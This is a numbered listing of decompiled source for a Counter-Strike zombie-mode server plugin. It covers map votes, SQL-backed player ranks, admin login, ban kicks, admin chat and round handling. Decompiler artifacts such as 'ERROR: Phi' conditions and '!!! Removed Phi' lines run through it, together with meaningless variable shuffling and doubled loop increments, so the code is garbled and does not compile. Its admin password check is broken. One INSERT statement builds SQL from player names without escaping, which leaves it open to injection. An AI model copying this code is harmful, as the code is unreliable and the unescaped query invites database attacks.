  2677. new var5 = g_cName[iPlayer];
  2678. formatex(g_cQuery, 256, "INSERT INTO r VALUES ('%s','%s','%s',1000,0,0,0,0,unix_timestamp(now()))", var5[0][0], g_cInternetProtocolAddress[iPlayer][0][0], g_cSteam[iPlayer][0][0]);
  2679. SQL_ThreadQuery(g_hSQLTuple, "SQLLoadedRank", "", cData, 3);
  2680. g_iRanksCount += 1;
  2681. var1 = var5;
  2682. }
  2683. else
  2684. {
  2685. var1 = var2;
  2686. }
  2687. return 0;
  2688. }
  2689.  
  2690. public SQLGetMaps(iFailState, Handle:hQuery, String:cError[], iErrorNum, String:cData[], iDataSize, Float:fQueueTime)
  2691. {
  2692. !!! Removed Phi
  2693. if (SQL_NumResults(hQuery) > 3 && get_cvar_num("mp_timelimit") > 3)
  2694. {
  2695. static bool:bStop;
  2696. static cMaps[128][32];
  2697. static iRandom;
  2698. static iPreparedMaps;
  2699. static iValidMaps;
  2700. static iMaps;
  2701. iPreparedMaps = 0;
  2702. iValidMaps = 0;
  2703. iMaps = 0;
  2704. while (SQL_MoreResults(hQuery))
  2705. {
  2706. SQL_ReadResult(hQuery, 0, cMaps[iMaps][0][0], 32);
  2707. if (is_map_valid(cMaps[iMaps][0][0]))
  2708. {
  2709. iValidMaps += 1;
  2710. }
  2711. iMaps += 1;
  2712. SQL_NextRow(hQuery);
  2713. }
  2714. if (iValidMaps > 3)
  2715. {
  2716. while (iPreparedMaps != 4)
  2717. {
  2718. iRandom = random_num(0, iMaps + -1);
  2719. bStop = 0;
  2720. g_iVariable = 0;
  2721. while (g_iVariable < 4)
  2722. {
  2723. if (equal(cMaps[iRandom][0][0], g_cMaps[g_iVariable][0][0], 0))
  2724. {
  2725. bStop = 1;
  2726. g_iVariable += 1;
  2727. }
  2728. g_iVariable += 1;
  2729. }
  2730. if (bStop)
  2731. {
  2732. }
  2733. else
  2734. {
  2735. if (is_map_valid(cMaps[iRandom][0][0]))
  2736. {
  2737. copy(g_cMaps[iPreparedMaps][0][0], 32, cMaps[iRandom][0][0]);
  2738. iPreparedMaps += 1;
  2739. }
  2740. }
  2741. }
  2742. set_task(30.00, "CheckTimeleft", 25613, "", 0, "b", 0);
  2743. }
  2744. else
  2745. {
  2746. set_cvar_string("nextmap", "zm_ice_attack3");
  2747. }
  2748. }
  2749. else
  2750. {
  2751. set_cvar_string("nextmap", "zm_ice_attack3");
  2752. }
  2753. return 0;
  2754. }
  2755.  
  2756. public SQLPushAdmins(iFailState, Handle:hQuery, String:cError[], iErrorNum, String:cData[], iDataSize, Float:fQueueTime)
  2757. {
  2758. if (SQL_NumResults(hQuery))
  2759. {
  2760. static cPassword[32];
  2761. static cName[32];
  2762. while (SQL_MoreResults(hQuery))
  2763. {
  2764. SQL_ReadResult(hQuery, 0, 260660, 32);
  2765. SQL_ReadResult(hQuery, 1, 260788, 32);
  2766. push_admin(cName, cPassword);
  2767. SQL_NextRow(hQuery);
  2768. }
  2769. set_task(1.00, "TaskLoadA", 0, "", 0, "", 0);
  2770. }
  2771. return 0;
  2772. }
  2773.  
  2774. public TaskLoadA()
  2775. {
  2776. static i;
  2777. i = 1;
  2778. while (g_iMaxClients + 1 > i)
  2779. {
  2780. if (g_bConnected[i][0][0])
  2781. {
  2782. load(i);
  2783. i += 1;
  2784. }
  2785. i += 1;
  2786. }
  2787. return 0;
  2788. }
  2789.  
  2790. public CheckSecondVotes()
  2791. {
  2792. static iVoteOption;
  2793. static iMaximumVotes;
  2794. g_bSecondVoting = 0;
  2795. iMaximumVotes = -1;
  2796. g_iVariable = 0;
  2797. while (g_iVariable < 2)
  2798. {
  2799. new var4 = g_iSecondVotes[g_iVariable][0][0];
  2800. new var1;
  2801. if (iMaximumVotes < var4)
  2802. {
  2803. new var5 = g_iSecondVotes;
  2804. iMaximumVotes = var5[g_iVariable][0][0];
  2805. iVoteOption = g_iVariable;
  2806. var1 = var5;
  2807. g_iVariable += 1;
  2808. }
  2809. else
  2810. {
  2811. var1 = var4;
  2812. g_iVariable += 1;
  2813. }
  2814. g_iVariable += 1;
  2815. }
  2816. PrintToChat(0, "\1The next map will be\4 %s", g_cSecondMaps[iVoteOption][0][0]);
  2817. set_cvar_string("nextmap", g_cSecondMaps[iVoteOption][0][0]);
  2818. new var6 = g_bConnected;
  2819. new var2;
  2820. new var3;
  2821. if (var6[g_iVoter][0][0])
  2822. {
  2823. new var7 = g_bFake;
  2824. if (!var7[g_iVoter][0][0])
  2825. {
  2826. var3 = var7;
  2827. if (ERROR: Phi)
  2828. {
  2829. g_iMenu = menu_create("Do you want to change it right now?", "_MenuChange", 0);
  2830. menu_additem(g_iMenu, "Yes, change it now!", "0", 0, -1);
  2831. menu_additem(g_iMenu, "Change it just next map...", "1", 0, -1);
  2832. menu_additem(g_iMenu, "Don't change it!", "2", 0, -1);
  2833. menu_setprop(g_iMenu, 6, -1);
  2834. menu_display(g_iVoter, g_iMenu, 0);
  2835. }
  2836. g_iSecondVotes[1] = 0;
  2837. g_iSecondVotes[0] = 0;
  2838. return 0;
  2839. }
  2840. var2 = var7;
  2841. }
  2842. else
  2843. {
  2844. var2 = var6;
  2845. }
  2846. var3 = var2;
  2847. if (ERROR: Phi)
  2848. {
  2849. g_iMenu = menu_create("Do you want to change it right now?", "_MenuChange", 0);
  2850. menu_additem(g_iMenu, "Yes, change it now!", "0", 0, -1);
  2851. menu_additem(g_iMenu, "Change it just next map...", "1", 0, -1);
  2852. menu_additem(g_iMenu, "Don't change it!", "2", 0, -1);
  2853. menu_setprop(g_iMenu, 6, -1);
  2854. menu_display(g_iVoter, g_iMenu, 0);
  2855. }
  2856. g_iSecondVotes[1] = 0;
  2857. g_iSecondVotes[0] = 0;
  2858. return 0;
  2859. }
  2860.  
  2861. public _MenuChange(iPlayer, iMenu, iItem)
  2862. {
  2863. static iChoice;
  2864. static iDummy;
  2865. static cBuffer[3];
  2866. new var1 = Heap_4;
  2867. var1[0] = 261596;
  2868. menu_item_getinfo(iMenu, iItem, iDummy, cBuffer, 3, var1, 0, iDummy);
  2869. iChoice = str_to_num(cBuffer);
  2870. switch (iChoice)
  2871. {
  2872. case 0:
  2873. {
  2874. static cMap[32];
  2875. get_cvar_string("nextmap", cMap, 32);
  2876. PrintToChat(0, "\4[Zombie Outstanding]\1 Changing map to\4 %s\1...", cMap);
  2877. set_cvar_num("mp_timelimit", 4096);
  2878. set_task(1.00, "TimerChangeMap", 0, "", 0, "", 0);
  2879. }
  2880. case 1:
  2881. {
  2882. static cMap[32];
  2883. get_cvar_string("nextmap", cMap, 32);
  2884. PrintToChat(0, "\4[Zombie Outstanding]\1 Console variable\4 nextmap\1 has been changed to\4 %s\1...", cMap);
  2885. set_cvar_num("mp_timelimit", 4096);
  2886. }
  2887. case 2:
  2888. {
  2889. PrintToChat(0, "\4[Zombie Outstanding]\1 We will stay here...");
  2890. }
  2891. default:
  2892. {
  2893. }
  2894. }
  2895. return 0;
  2896. }
  2897.  
  2898. public CheckVotes()
  2899. {
  2900. !!! Removed Phi
  2901. static iVoteOption;
  2902. static iMaximumVotes;
  2903. g_bVoting = 0;
  2904. iMaximumVotes = -1;
  2905. g_iVariable = 0;
  2906. while (g_iVariable < 5)
  2907. {
  2908. if (iMaximumVotes < g_iVotes[g_iVariable][0][0])
  2909. {
  2910. iMaximumVotes = g_iVotes[g_iVariable][0][0];
  2911. iVoteOption = g_iVariable;
  2912. g_iVariable += 1;
  2913. }
  2914. g_iVariable += 1;
  2915. }
  2916. if (iVoteOption)
  2917. {
  2918. PrintToChat(0, "\1The next map will be\4 %s", g_cMaps[iVoteOption + -1][0][0]);
  2919. set_cvar_string("nextmap", g_cMaps[iVoteOption + -1][0][0]);
  2920. set_cvar_num("mp_timelimit", 4096);
  2921. }
  2922. else
  2923. {
  2924. PrintToChat(0, "\1This map will be extended with\4 10\1 minutes!");
  2925. g_iVariable = 0;
  2926. while (g_iVariable < 5)
  2927. {
  2928. g_iVotes[g_iVariable] = 0;
  2929. g_iVariable += 1;
  2930. }
  2931. set_task(30.00, "CheckTimeleft", 25613, "", 0, "b", 0);
  2932. set_cvar_num("mp_timelimit", get_cvar_num("mp_timelimit") + 10);
  2933. }
  2934. g_iVariable = 0;
  2935. while (g_iVariable < 5)
  2936. {
  2937. g_iVotes[g_iVariable] = 0;
  2938. g_iVariable += 1;
  2939. }
  2940. return 0;
  2941. }
  2942.  
  2943. public CheckTimeleft(iDecimal)
  2944. {
  2945. !!! Removed Phi
  2946. if (get_cvar_num("mp_timelimit") && fTimeLeft < 200.00 && !g_bSecondVoting && !g_bVoting)
  2947. {
  2948. remove_task(iDecimal, 0);
  2949. g_bVoting = 1;
  2950. set_task(15.00, "CheckVotes", 0, "", 0, "", 0);
  2951. g_iMenu = menu_create("Choose the next map!", "VotePanel", 0);
  2952. menu_additem(g_iMenu, "Extend this map", "1", 0, -1);
  2953. static j[32];
  2954. static i;
  2955. i = 2;
  2956. g_iVariable = 0;
  2957. while (g_iVariable < 4)
  2958. {
  2959. num_to_str(i, j, 32);
  2960. menu_additem(g_iMenu, g_cMaps[g_iVariable][0][0], j, 0, -1);
  2961. i += 1;
  2962. g_iVariable += 1;
  2963. }
  2964. menu_setprop(g_iMenu, 6, -1);
  2965. g_iVariable = 1;
  2966. while (g_iMaxClients + 1 > g_iVariable)
  2967. {
  2968. if (g_bConnected[g_iVariable][0][0] && !g_bFake[g_iVariable][0][0])
  2969. {
  2970. menu_display(g_iVariable, g_iMenu, 0);
  2971. g_iVariable += 1;
  2972. }
  2973. g_iVariable += 1;
  2974. }
  2975. }
  2976. return 0;
  2977. }
  2978.  
  2979. public SQLCheckAdmin(iFailState, Handle:hQuery, String:cError[], iErrorNum, String:cData[], iDataSize, Float:fQueueTime)
  2980. {
  2981. !!! Removed Phi
  2982. if (SQL_NumResults(hQuery))
  2983. {
  2984. if (equali("", g_cPasswords[iPlayer][0][0], 0) && strlen(cPassword) && strlen(g_cPasswords[iPlayer][0][0]))
  2985. {
  2986. g_bAdmin[iPlayer] = 1;
  2987. copy(g_cAdminFlags[iPlayer][0][0], 42, "");
  2988. copy(g_cTag[iPlayer][0][0], 24, "");
  2989. show_glow_message(iPlayer, "You are now administrator!", 6904269, 0.02, 0.60, 1.75);
  2990. }
  2991. }
  2992. return 0;
  2993. }
  2994.  
  2995. public SQLBanCheck(iFailState, Handle:hQuery, String:cError[], iErrorNum, String:cData[], iDataSize, Float:fQueueTime)
  2996. {
  2997. if (SQL_NumResults(hQuery))
  2998. {
  2999. server_cmd("kick #%d You are banned! Check http://basky.org.ua/zm-stats/bans", get_user_userid(str_to_num(cData)));
  3000. }
  3001. return 0;
  3002. }
  3003.  
  3004. GetTimeLength(iTime, String:sTime[], iLength)
  3005. {
  3006. !!! Removed Phi
  3007. static sElement[2][12];
  3008. static iElement;
  3009. static iSecond;
  3010. static iMinute;
  3011. static iHour;
  3012. iSecond = 0;
  3013. iMinute = 0;
  3014. iHour = 0;
  3015. iElement = -1;
  3016. iSecond = iTime * 60;
  3017. iHour = iSecond / 3600;
  3018. iSecond = iSecond - iHour * 3600;
  3019. iMinute = iSecond / 60;
  3020. iSecond = iSecond - iMinute * 60;
  3021. if (0 < iHour)
  3022. {
  3023. iElement += 1;
  3024. formatex(sElement[iElement][0][0], 11, "%d h", iHour);
  3025. }
  3026. iElement += 1;
  3027. formatex(sElement[iElement][0][0], 11, "%d m", iMinute);
  3028. switch (iElement)
  3029. {
  3030. case 0:
  3031. {
  3032. new var2 = sElement;
  3033. formatex(sTime, iLength, "%s", var2[0][0][var2]);
  3034. }
  3035. case 1:
  3036. {
  3037. new var1 = sElement;
  3038. formatex(sTime, iLength, "%s %s", var1[0][0][var1], sElement[1][0]);
  3039. }
  3040. default:
  3041. {
  3042. }
  3043. }
  3044. return 0;
  3045. }
  3046.  
  3047. Float:GetTimeLeft()
  3048. {
  3049. return get_cvar_float("mp_timelimit") * 60.00 - get_gametime();
  3050. }
  3051.  
  3052. public client_disconnect(iPlayer)
  3053. {
  3054. !!! Removed Phi
  3055. if (iTimeLimit != 4096 && !g_bFake[iPlayer][0][0])
  3056. {
  3057. if (g_bAlive[iPlayer][0][0])
  3058. {
  3059. CheckLastPlayer(iPlayer);
  3060. }
  3061. InsertInfo(iPlayer);
  3062. ArrayPushString(g_aNameData, g_cName[iPlayer][0][0]);
  3063. ArrayPushCell(g_aAmmoData, g_iPacks[iPlayer][0][0]);
  3064. }
  3065. remove_task(iPlayer + 50, 0);
  3066. remove_task(iPlayer + 100, 0);
  3067. remove_task(iPlayer + 150, 0);
  3068. remove_task(iPlayer + 250, 0);
  3069. remove_task(iPlayer + 200, 0);
  3070. remove_task(iPlayer + 300, 0);
  3071. remove_task(iPlayer + 350, 0);
  3072. remove_task(iPlayer + 400, 0);
  3073. remove_task(iPlayer + 500, 0);
  3074. remove_task(iPlayer + 450, 0);
  3075. if (g_iPlantedMines[iPlayer][0][0])
  3076. {
  3077. rem(iPlayer);
  3078. g_iPlantedMines[iPlayer] = 0;
  3079. }
  3080. g_iPingOverride[iPlayer] = -1;
  3081. g_iPlayerMines[iPlayer][0][0][1] = 0;
  3082. g_iPlayerMines[iPlayer][0][0][0] = 0;
  3083. g_iPlantedMines[iPlayer] = 0;
  3084. g_iTripMines[iPlayer] = 0;
  3085. g_iBlinks[iPlayer] = 0;
  3086. g_bRemoving[iPlayer] = 0;
  3087. g_bFake[iPlayer] = 0;
  3088. g_bPlanting[iPlayer] = 0;
  3089. g_bAdminModel[iPlayer] = 0;
  3090. g_bServerSlot[iPlayer] = 0;
  3091. g_bDoubleDamage[iPlayer] = 0;
  3092. g_bUnlimitedClip[iPlayer] = 0;
  3093. g_bTryder[iPlayer] = 0;
  3094. g_bAlive[iPlayer] = 0;
  3095. g_bConnected[iPlayer] = 0;
  3096. new var2 = g_cTag[iPlayer][0][0];
  3097. var2[0] = 264756;
  3098. new var3 = g_cAdminFlags[iPlayer][0][0];
  3099. var3[0] = 264760;
  3100. g_fGagTime[iPlayer] = 0;
  3101. if (g_bBot[iPlayer][0][0])
  3102. {
  3103. g_bBot[iPlayer] = 0;
  3104. g_iBotsCount += -1;
  3105. }
  3106. formatex(g_cPasswords[iPlayer][0][0], 31, "%s", "");
  3107. return 0;
  3108. }
  3109.  
  3110. public SQLGetRank(iFailState, Handle:hQuery, String:cError[], iErrorNum, String:cData[], iDataSize, Float:fQueueTime)
  3111. {
  3112. static iRank;
  3113. static iPlayer;
  3114. iPlayer = str_to_num(cData);
  3115. iRank = SQL_NumResults(hQuery);
  3116. g_iMenu = menu_create("Ranking", "EmptyPanel", 0);
  3117. formatex(g_cQuery, 255, "Rank: %d/%d Score: %d", iRank, g_iRanksCount, g_iScore[iPlayer]);
  3118. menu_additem(g_iMenu, g_cQuery, "1", 0, -1);
  3119. new var1;
  3120. if (g_iDeaths[iPlayer][0][0])
  3121. {
  3122. float(g_iDeaths[iPlayer][0][0]);
  3123. var1 = float(g_iKills[iPlayer][0][0]);
  3124. }
  3125. else
  3126. {
  3127. new var3 = g_iKills;
  3128. float(var3[iPlayer][0][0]);
  3129. var1 = var3;
  3130. }
  3131. formatex(g_cQuery, 255, "Kills: %d Deaths: %d KPD: %0.2f", g_iKills[iPlayer], g_iDeaths[iPlayer], ERROR: Phi);
  3132. menu_additem(g_iMenu, g_cQuery, "2", 0, -1);
  3133. formatex(g_cQuery, 255, "Online: %s", g_cOnlineTime[iPlayer][0][0]);
  3134. menu_additem(g_iMenu, g_cQuery, "3", 0, -1);
  3135. menu_setprop(g_iMenu, 6, -1);
  3136. menu_display(iPlayer, g_iMenu, 0);
  3137. new var2;
  3138. if (g_iDeaths[iPlayer][0][0])
  3139. {
  3140. float(g_iDeaths[iPlayer][0][0]);
  3141. var2 = float(g_iKills[iPlayer][0][0]);
  3142. }
  3143. else
  3144. {
  3145. new var4 = g_iKills;
  3146. float(var4[iPlayer][0][0]);
  3147. var2 = var4;
  3148. }
  3149. PrintToChat(0, "\4[Zombie Outstanding]\3 %s\1's rank is\4 %d\1/\4%d\1 --\3 %0.2f KPD", g_cName[iPlayer][0][0], iRank, g_iRanksCount, ERROR: Phi);
  3150. return 0;
  3151. }
  3152.  
  3153. public EventHLTV()
  3154. {
  3155. g_bRoundStart = 1;
  3156. g_bModeStarted = 0;
  3157. g_fRoundStartTime = get_gametime();
  3158. return 0;
  3159. }
  3160.  
  3161. public TaskCounter()
  3162. {
  3163. g_iCounter += -1;
  3164. new var1 = g_iCounter;
  3165. if (9 > var1 & 0 < var1)
  3166. {
  3167. static cWord[12];
  3168. num_to_word(g_iCounter, cWord, 12);
  3169. set_hudmessage(179, 0, 0, -1.00, 0.28, 2, 0.02, 1.00, 0.01, 0.10, 10);
  3170. ShowSyncHudMsg(0, g_iCounterMessage, "Infection in %d", g_iCounter);
  3171. client_cmd(0, "spk fvox/%s", cWord);
  3172. }
  3173. return 0;
  3174. }
  3175.  
  3176. public EventRoundStart()
  3177. {
  3178. !!! Removed Phi
  3179. g_iRoundType = 0;
  3180. g_bModeStarted = 0;
  3181. g_bRoundEnd = 0;
  3182. g_bRoundStart = 1;
  3183. remove_task(650, 0);
  3184. set_task(2.00, "TaskWelcome", 650, "", 0, "", 0);
  3185. g_iCounter = 16;
  3186. remove_task(550, 0);
  3187. set_task(16.00, "TaskZombie", 550, "", 0, "", 0);
  3188. remove_task(700, 0);
  3189. set_task(1.00, "TaskCounter", 700, "", 0, "a", 15);
  3190. static i;
  3191. i = 1;
  3192. while (g_iMaxClients + 1 > i)
  3193. {
  3194. if (g_bConnected[i][0][0] && get_user_jetpack(i))
  3195. {
  3196. set_user_rocket_time(i, 0);
  3197. }
  3198. g_iMaxJumps[i] = 0;
  3199. g_iPlantedMines[i] = 0;
  3200. g_iTripMines[i] = 0;
  3201. g_iBlinks[i] = 0;
  3202. g_iPlayerMines[i][0][0][1] = 0;
  3203. g_iPlayerMines[i][0][0][0] = 0;
  3204. g_iKillsThisRound[i] = 0;
  3205. g_bGaveThisRound[i] = 0;
  3206. g_bDoubleDamage[i] = 0;
  3207. g_bTryder[i] = 0;
  3208. g_bUnlimitedClip[i] = 0;
  3209. i += 1;
  3210. }
  3211. static cMap[32];
  3212. get_cvar_string("nextmap", cMap, 32);
  3213. if (get_cvar_num("mp_timelimit") == 4096)
  3214. {
  3215. set_task(0.75, "TimerChangeMap", 0, "", 0, "", 0);
  3216. }
  3217. return 0;
  3218. }
  3219.  
  3220. public CmdChat(iPlayer)
  3221. {
  3222. !!! Removed Phi
  3223. if (g_bAdmin[iPlayer][0][0] && AdminHasFlag(iPlayer, 102))
  3224. {
  3225. static i;
  3226. static cPhrase[192];
  3227. read_args(cPhrase, 192);
  3228. remove_quotes(cPhrase);
  3229. if (contain("", "%") != -1)
  3230. {
  3231. return 1;
  3232. }
  3233. cPhrase[189] = 0;
  3234. i = 1;
  3235. while (g_iMaxClients + 1 > i)
  3236. {
  3237. if (g_bConnected[i][0][0] && g_bAdmin[i][0][0])
  3238. {
  3239. PrintToChat(i, "\4[ADMINS]\3 %s\1 : %s", g_cName[iPlayer][0][0], cPhrase);
  3240. i += 1;
  3241. }
  3242. i += 1;
  3243. }
  3244. }
  3245. return 1;
  3246. }
  3247.  
  3248. public CmdSayChat(iPlayer)
  3249. {
  3250. !!! Removed Phi
  3251. if (g_bAdmin[iPlayer][0][0] && AdminHasFlag(iPlayer, 121))
  3252. {
  3253. static i;
  3254. static cPhrase[192];
  3255. read_args(cPhrase, 192);
  3256. remove_quotes(cPhrase);
  3257. if (contain("", "%") != -1)
  3258. {
  3259. return 1;
  3260. }
  3261. cPhrase[189] = 0;
  3262. i = 1;
  3263. while (g_iMaxClients + 1 > i)
  3264. {
  3265. if (g_bConnected[i][0][0])
  3266. {
  3267. PrintToChat(i, "\4[ALL]\3 %s\1 : %s", g_cName[iPlayer][0][0], cPhrase);
  3268. i += 1;
  3269. }
  3270. i += 1;
  3271. }
  3272. }
  3273. return 1;
  3274. }
  3275.  
  3276. public TaskRespawn(iPlayer)
  3277. {
  3278. !!! Removed Phi
  3279. if (g_bConnected[iPlayer][0][0] && 3 > var2 & 0 < var2)
  3280. {
  3281. if (!g_bAlive[iPlayer][0][0])
  3282. {
  3283. do_spawn(iPlayer);
  3284. set_task(1.50, "TaskRespawn", iPlayer, "", 0, "", 0);
  3285. }
  3286. send_hide_weapon(iPlayer, 32);
  3287. send_crosshair(iPlayer);
  3288. }
  3289. return 0;
  3290. }
  3291.  
  3292. public EventRoundEnd()
  3293. {
  3294. !!! Removed Phi
  3295. static Float:fCurrent;
  3296. static Float:fLast;
  3297. fCurrent = get_gametime();
  3298. if (fCurrent - fLast < 0.50/*1056964608*/)
  3299. {
  3300. return 0;
  3301. }
  3302. fLast = fCurrent;
  3303. g_iRoundsCount += 1;
  3304. g_iRounds[g_iRoundsCount] = g_iRoundType;
  3305. g_bRoundEnd = 1;
  3306. g_bModeStarted = 0;
  3307. g_iRoundType = 0;
  3308. remove_task(600, 0);
  3309. remove_task(700, 0);
  3310. remove_task(550, 0);
  3311. remove_task(650, 0);
  3312. client_cmd(0, "stopsound");
  3313. if (!GetZombies())
  3314. {
  3315. set_hudmessage(0, 0, 200, -1.00, 0.17, 0, 0.00, 3.00, 2.00, 1.00, -1);
  3316. ShowSyncHudMsg(0, g_iTopMessageSync, "Humans have defeated the plague!");
  3317. client_cmd(0, "spk %s", g_cEndRoundHumanSounds[random_num(0, 2)][0][0]);
  3318. }
  3319. else
  3320. {
  3321. if (!GetHumans())
  3322. {
  3323. set_hudmessage(200, 0, 0, -1.00, 0.17, 0, 0.00, 3.00, 2.00, 1.00, -1);
  3324. ShowSyncHudMsg(0, g_iTopMessageSync, "Zombies have taken over the world!");
  3325. client_cmd(0, "spk %s", g_cEndRoundZombieSounds[random_num(0, 3)][0][0]);
  3326. }
  3327. set_hudmessage(0, 200, 0, -1.00, 0.17, 0, 0.00, 3.00, 2.00, 1.00, -1);
  3328. ShowSyncHudMsg(0, g_iTopMessageSync, "No one won...");
  3329. client_cmd(0, "spk ZombieOutstanding/end_round_win_no_one");
  3330. }
  3331. static iFrags;
  3332. static iMaximumPacks;
  3333. static iMaximumKills;
  3334. static iPacksLeader;
  3335. static iKillsLeader;
  3336. iMaximumPacks = 0;
  3337. iMaximumKills = 0;
  3338. iPacksLeader = 0;
  3339. iKillsLeader = 0;
  3340. g_iVariable = 1;
  3341. while (g_iMaxClients + 1 > g_iVariable)
  3342. {
  3343. if (g_bConnected[g_iVariable][0][0])
  3344. {
  3345. iFrags = get_frags(g_iVariable);
  3346. if (iFrags > iMaximumKills)
  3347. {
  3348. iMaximumKills = iFrags;
  3349. iKillsLeader = g_iVariable;
  3350. g_iVariable += 1;
  3351. }
  3352. g_iVariable += 1;
  3353. }
  3354. g_iVariable += 1;
  3355. }
  3356. g_iVariable = 1;
  3357. while (g_iMaxClients + 1 > g_iVariable)
  3358. {
  3359. if (g_bConnected[g_iVariable][0][0] && g_iPacks[g_iVariable][0][0] > iMaximumPacks)
  3360. {
  3361. iMaximumPacks = g_iPacks[g_iVariable][0][0];
  3362. iPacksLeader = g_iVariable;
  3363. g_iVariable += 1;
  3364. }
  3365. g_iVariable += 1;
  3366. }
  3367. if (g_bConnected[iKillsLeader][0][0])
  3368. {
  3369. if (g_iKillsThisRound[iKillsLeader][0][0])
  3370. {
  3371. new var2;
  3372. if (iMaximumKills == 1)
  3373. {
  3374. var2 = 268596;
  3375. }
  3376. else
  3377. {
  3378. var2 = 268600;
  3379. }
  3380. PrintToChat(0, "\3%s\1 is\4 Leader\1 with\4 %d\1 frag%s! [\4 %d\1 this round ]", g_cName[iKillsLeader][0][0], iMaximumKills, var2, g_iKillsThisRound[iKillsLeader]);
  3381. }
  3382. new var3;
  3383. if (iMaximumKills == 1)
  3384. {
  3385. var3 = 268748;
  3386. }
  3387. else
  3388. {
  3389. var3 = 268752;
  3390. }
  3391. PrintToChat(0, "\3%s\1 is\4 Leader\1 with\4 %d\1 frag%s!", g_cName[iKillsLeader][0][0], iMaximumKills, var3);
  3392. }
  3393. if (g_bConnected[iPacksLeader][0][0])
  3394. {
  3395. new var4;
  3396. if (iMaximumPacks == 1)
  3397. {
  3398. var4 = 268900;
  3399. }
  3400. else
  3401. {
  3402. var4 = 268904;
  3403. }
  3404. PrintToChat(0, "\3%s\1 is\4 Leader\1 with\4 %d\1 pack%s!", g_cName[iPacksLeader][0][0], iMaximumPacks, var4);
  3405. }
  3406. static iTeam;
  3407. static j;
  3408. static i;
  3409. i = random_num(1, g_iMaxClients);
  3410. iTeam = 1;
  3411. j = 1;
  3412. while (g_iMaxClients + 1 > j)
  3413. {
  3414. i += 1;
  3415. if (i > g_iMaxClients)
  3416. {
  3417. i = 1;
  3418. }
  3419. if (!g_bConnected[i][0][0] || !var6 < 3 & 0 < var6)
  3420. {
  3421. }
  3422. else
  3423. {
  3424. if (iTeam > 2)
  3425. {
  3426. iTeam = 1;
  3427. }
  3428. set_team_offset(i, iTeam);
  3429. iTeam += 1;
  3430. }
  3431. j += 1;
  3432. }
  3433. return 0;
  3434. }
  3435.  
  3436. public OnPlayerSpawn(iPlayer)
  3437. {
  3438. !!! Removed Phi
  3439. if (is_user_alive(iPlayer))
  3440. {
  3441. g_bAlive[iPlayer] = 1;
  3442. g_iBurningDuration[iPlayer] = 0;
  3443. g_iPlayerType[iPlayer] = 0;
  3444. new var4 = g_cClass[iPlayer][0][0];
  3445. var4[0] = 268924;
  3446. g_bKilling[iPlayer] = 0;
  3447. g_bUnlimitedClip[iPlayer] = 0;
  3448. g_bDoubleDamage[iPlayer] = 0;
  3449. g_bNoDamage[iPlayer] = 0;
  3450. g_bZombie[iPlayer] = 0;
  3451. g_bFlashEnabled[iPlayer] = 0;
  3452. g_bFlash[iPlayer] = 0;
  3453. set_zombie(iPlayer, 0);
  3454. set_monster(iPlayer, 0);
  3455. remove_glow(iPlayer);
  3456. g_bFrozen[iPlayer] = 0;
  3457. set_take_damage(iPlayer, "");
  3458. set_frozen(iPlayer, 0);
  3459. set_health(iPlayer, "");
  3460. set_gravity(iPlayer, 1.00/*1065353216*/);
  3461. set_speed(iPlayer, 240.00/*1131413504*/);
  3462. remove_task(iPlayer + 250, 0);
  3463. remove_task(iPlayer + 200, 0);
  3464. remove_task(iPlayer + 350, 0);
  3465. static Float:fCurrentTime;
  3466. fCurrentTime = get_gametime();
  3467. if (fCurrentTime - g_fLastChangedModel >= 0.30/*1050253722*/)
  3468. {
  3469. ChangeModel(iPlayer + 250);
  3470. g_fLastChangedModel = fCurrentTime;
  3471. }
  3472. else
  3473. {
  3474. set_task(g_fLastChangedModel + 0.30 - fCurrentTime, "ChangeModel", iPlayer + 250, "", 0, "", 0);
  3475. g_fLastChangedModel = g_fLastChangedModel + 0.30;
  3476. }
  3477. set_task(0.20, "TaskShowMenu", iPlayer, "", 0, "", 0);
  3478. set_task(random_float(1.00, 5.00), "TaskRespawn", iPlayer, "", 0, "", 0);
  3479. if (!g_bRoundStart)
  3480. {
  3481. if (g_iRoundType & 4 || g_iRoundType & 8 || g_iRoundType & 64)
  3482. {
  3483. MakeZombie(0, iPlayer, false, false, false);
  3484. }
  3485. if (!g_iRoundType || g_iRoundType & 1 || g_iRoundType & 2)
  3486. {
  3487. if (get_team(iPlayer) != 2)
  3488. {
  3489. set_team(iPlayer, "");
  3490. }
  3491. }
  3492. if (g_iRoundType & 128 || g_iRoundType & 256)
  3493. {
  3494. MakeHuman(iPlayer, true, false);
  3495. }
  3496. if (g_iRoundType & 512)
  3497. {
  3498. MakeZombie(0, iPlayer, false, false, true);
  3499. }
  3500. }
  3501. }
  3502. return 0;
  3503. }
  3504.  
  3505. public TaskShowMenu(iPlayer)
  3506. {
  3507. new var3 = g_bAlive;
  3508. new var1;
  3509. new var2;
  3510. if (var3[iPlayer][0][0])
  3511. {
  3512. new var4 = g_iPlayerType;
  3513. if (!var4[iPlayer][0][0])
  3514. {
  3515. new var5 = g_bZombie;
  3516. if (!var5[iPlayer][0][0])
  3517. {
  3518. new var6 = g_bFake;
  3519. if (!var6[iPlayer][0][0])
  3520. {
  3521. var2 = var6;
  3522. if (ERROR: Phi)
  3523. {
  3524. menu_display(iPlayer, g_iSecondaryMenu, 0);
  3525. }
  3526. return 0;
  3527. }
  3528. var1 = var6;
  3529. }
  3530. var1 = var5;
  3531. }
  3532. var1 = var4;
  3533. }
  3534. else
  3535. {
  3536. var1 = var3;
  3537. }
  3538. var2 = var1;
  3539. if (ERROR: Phi)
  3540. {
  3541. menu_display(iPlayer, g_iSecondaryMenu, 0);
  3542. }
  3543. return 0;
  3544. }
  3545.  
  3546. public _SecondaryMenu(iPlayer, iMenu, iItem)
  3547. {
  3548. !!! Removed Phi
  3549. if (iItem != -3 && g_bAlive[iPlayer][0][0] && !g_bZombie[iPlayer][0][0] && !g_iPlayerType[iPlayer][0][0] && !g_bFake[iPlayer][0][0])
  3550. {
  3551. static iChoice;
  3552. static iDummy;
  3553. static cBuffer[3];
  3554. new var2 = Heap_4;
  3555. var2[0] = 261596;
  3556. menu_item_getinfo(iMenu, iItem, iDummy, cBuffer, 3, var2, 0, iDummy);
  3557. iChoice = str_to_num(cBuffer);
  3558. DropWeapons(iPlayer, 67308546);
  3559. give_weapon(iPlayer, g_cSecondaryEntities[iChoice][0][0]);
  3560. give_ammo(iPlayer, g_iSecondaryWeapons[iChoice][0][0], 9999);
  3561. menu_display(iPlayer, g_iPrimaryMenu, 0);
  3562. }
  3563. return 0;
  3564. }
  3565.  
  3566. public _PrimaryMenu(iPlayer, iMenu, iItem)
  3567. {
  3568. !!! Removed Phi
